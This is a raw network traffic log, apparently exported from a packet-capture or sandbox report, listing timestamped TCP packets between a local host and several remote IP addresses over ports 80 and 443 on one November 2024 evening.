Nov 23, 2024 21:59:45.265950918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.265964031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.265993118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.266021967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.266752005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.266772985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.266803026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.266825914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.267446041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.267563105 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.267607927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.268213987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.268461943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.268501997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.268989086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.269028902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.269424915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.269486904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.377841949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.377918005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.377954960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.377954960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.378226995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.378304005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.378407001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.378468037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.379046917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.379095078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.379235029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.379275084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.379847050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.379904032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.380050898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.380096912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.380132914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.380186081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.380856991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.381145954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.381196976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.381623030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.381669044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.381994009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.382044077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.382467985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.382517099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.382522106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.382571936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.383168936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.383213043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.383640051 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.383682013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.384052992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.384064913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.384108067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.384783983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.384913921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.384960890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.385025024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.385617971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.385663986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.385677099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.385714054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.386328936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.386372089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.386486053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.386538982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.387098074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.387140989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.387229919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.387274027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.387916088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.387960911 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.388148069 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.388192892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.388644934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.388691902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.388758898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.388801098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.389445066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.389496088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.390031099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.390074968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.390207052 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.390249968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.390357018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.390403986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.391032934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.391087055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.391174078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.391230106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.391845942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.391887903 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.392158031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.392306089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.392709970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.392786980 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.392816067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.392891884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.393208981 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:45.393269062 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:45.393374920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.393424988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.393425941 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:45.393496037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.393538952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.393824100 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:45.393832922 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:45.393843889 CET	49882	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:45.393848896 CET	443	49882	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:45.394136906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.394177914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.394285917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.394334078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.394912958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.394949913 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.394958019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.395348072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.399378061 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:45.399399042 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:45.399550915 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:45.399764061 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:45.399775028 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:45.431623936 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.431965113 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.431982994 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.432305098 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.432310104 CET	443	49885	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.432524920 CET	49885	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.432550907 CET	443	49885	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.432750940 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.432813883 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.432955980 CET	443	49885	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.432970047 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.433227062 CET	49885	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.433306932 CET	443	49885	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.433337927 CET	49885	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.457015991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.457106113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.457288980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.457299948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.457312107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.457345009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.457357883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.458026886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.458077908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.458148956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.458192110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.458782911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.458827972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.458988905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.459032059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.459378004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.459422112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.459497929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.459676981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.460144043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.460195065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.460249901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.460374117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.460947037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.460958958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.460998058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.461672068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.461723089 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.462070942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.462120056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.462470055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.462524891 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.462672949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.462722063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.463295937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.463361025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.464046955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.464067936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.464081049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.464102030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.464117050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.464807034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.464854956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.464919090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.464971066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.465662956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.465675116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.465704918 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.465718985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.466350079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.466398001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.467185020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.467197895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.467241049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.467242956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.467295885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.467941999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.467993975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.468100071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.468166113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.468822956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.468838930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.468872070 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.468884945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.469544888 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.469609976 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.469670057 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.469893932 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.470326900 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.470339060 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.470376015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.471088886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.471182108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.471272945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.471333981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.471971035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.472067118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.472134113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.472656965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.472668886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.472711086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.473432064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.473480940 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.473484039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.473519087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.474204063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.474251986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.474834919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.474879026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.475001097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.475052118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.475095034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.475147963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.475784063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.475828886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.476073980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.476130962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.476577044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.476630926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.476751089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.476798058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.477355003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.477478981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.478993893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.479051113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.479302883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.479326010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.479326963 CET	443	49885	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.479326963 CET	443	49884	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.479353905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.479374886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.479456902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.479470968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.479510069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.480427980 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.480439901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.480479956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.493304968 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:45.493346930 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:45.493442059 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:45.493868113 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:45.493882895 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:45.579108000 CET	49884	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.585079908 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.585428953 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.585455894 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.586455107 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.586510897 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.587091923 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.587146997 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.587419987 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.587428093 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.587825060 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.587996960 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.588025093 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.588793993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.588845968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.589008093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.589056015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.589274883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.589430094 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.589503050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.589508057 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.589574099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.589617014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.590065002 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.590137959 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.590177059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.590224028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.590329885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.590511084 CET	49887	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.590517998 CET	443	49887	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.590522051 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.591150999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.591192961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.591208935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.591231108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.591242075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.591268063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.591620922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.591666937 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.591973066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.592227936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.592241049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.592283964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.592999935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.593067884 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.593069077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.593105078 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.593852997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.593899012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.594058037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.594132900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.594625950 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.594674110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.595032930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.595181942 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.595221996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.595359087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.595418930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.595462084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.596133947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.596188068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.596436977 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.596447945 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.597001076 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.597047091 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.597054958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.597067118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.597101927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.597443104 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.597497940 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.597712040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.597781897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.597826958 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.597836018 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.597872972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.597877026 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.598037958 CET	49889	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:45.598045111 CET	443	49889	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:45.598505020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.598589897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:45.598656893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:45.598766088 CET	49809	80	192.168.2.6	185.215.113.206
